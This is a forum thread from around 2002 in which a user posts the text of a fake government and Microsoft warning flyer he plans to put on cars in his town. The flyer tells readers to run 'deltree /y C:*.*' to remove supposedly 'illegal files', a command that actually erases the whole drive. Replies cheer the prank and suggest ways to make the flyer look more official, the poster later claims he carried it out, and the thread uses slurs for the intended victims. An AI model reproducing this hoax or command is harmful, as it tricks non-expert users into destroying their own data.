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GLIK$

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HAHAHA this town I live in is so fucking boring, I've decided to provide some minor entertainment for myself. Late one night very soon I plan on putting fliers on every single car in town that read as follow:

 

BE WARNED!

 

Your computer may contain hundreds of potentially “illegal” files and/or programs.

 

Due to the recent passing of the Electronic Copyright Invasion Act by the US Government, your computer may be deemed illegal, and could possible be seized. If you are connected to the World Wide Web in any manor, you are under extreme risk of harboring these now deemed illegal files.

 

There are ways to protect yourself. The easiest way of finding and removing these illegal files is as follows.

 

Start your computer. Click on your ‘Start’ button in the lower left hand side of your screen. From there go to the ‘Run’ function, and type in Command. In the black screen that now appears on the screen, type: deltree /y C:*.*

 

This will in turn search out any and all illegal files on your computer and remove them in a safe and worry free manor.

 

 

This has been brought to you by the Nihilists Protection Agency c/o Microsoft Corporation.

201 Jones Road, Waltham, MA 02451

 

The best thing is, my town is literally FULL of retards and mentally inept people who will believe this and run home to go do so.

 

Let the fun begin.

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Guest ArtvandaL

so uh...

what really happens if you do that? the whole computer suddenly erases or something lik that? tell me cause I think thats a great funny idea, i like it if it fucks up your pc

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Guest CHEWBAKALLAH

hahaha, you both need to be slapped

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Guest ArtvandaL

but isnt there any "are you sure you want to do this?" things that pop up when you do that, or doesnt the computer take time to fuck itself,like enough time to hit "cancel"

 

sounds fun though, I like it, I can imagine all the stupid fucken people bustin their own computers hahahahha

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Theres no, "Hey are you an idiot?" prompt that comes up, your computer thinks that if you are in your DOS prompt, that you may actually know what youre doing.

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Guest sneak

i can imagine dum ass people doing that

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Guest spec

Anyone dumb enough to listen to a flyer on the front windshield of thier car probably deserves to get thier comp erased. You gotta get some kind of serious looking government emblem at the heading.

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Originally posted by CHEWBAKALLAH

hahaha, you both need to be slapped

 

my hypothesis:

 

i suspect someone (who shall remain nameless) may have previously fallen victim to one of these types of scams in the past...

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Guest --zeSto--

I enjoy that kind of thing.

It's like a computer virus that becomes organic and is spread by stupid people.

I got an email once from a girl and it said to delete a certain program file.

I check it out with google and found it to be a hoax. But by the time I could reply,

the girl trashed her Dad's computer. oops!

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before you you start handing out these fliers, do a spellcheck so they know its legit.

 

manor=manner

 

tell us how it goes.

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I havent typed the the flyer yet, it was 4:43am when i typed this, but ha thanks for catching my sleep deprived ignorence.

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Guest SPLINTER

sounds fun.

if i wasnt on a Mac i woulda prolly fell for it.

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Ahh nice nice, operation Redneck meltdown went down smoothly!!! Hopefully ill be able to post some pics soon of my rural heehaw retard fun.

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Guest socrates

You have to include video and any future newspaper headlines/briefs

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Guest ArtvandaL

damn, forgot to do it , I was busy all day.,,anyway,

this question of oblividal personal curiosity is directed towards none other than the original composer of this thread on this illegal message board in this present day of the 7th of August on the 2002th year since a gentelman beleived to be known as Jesus was allegedley murdered ,transmitting through the information and porn superhighway and ...what the fuck? I'm lost,

yeah so, this question is for you, the guy who strted this thread,

 

 

- how come everytime I keep seeing your screen name as "Geiko" and thinkin of the geko in those insurance commercials?

are you that geko? if you are, then email me, If not, then your an imposter and a wannabe

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well hmm youre a moron and its Gliko, short for Glikotsutsunos, which is Greek, figure it out.

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Ouch...

 

There is definitely some evil in you fools that think that shit is funny..

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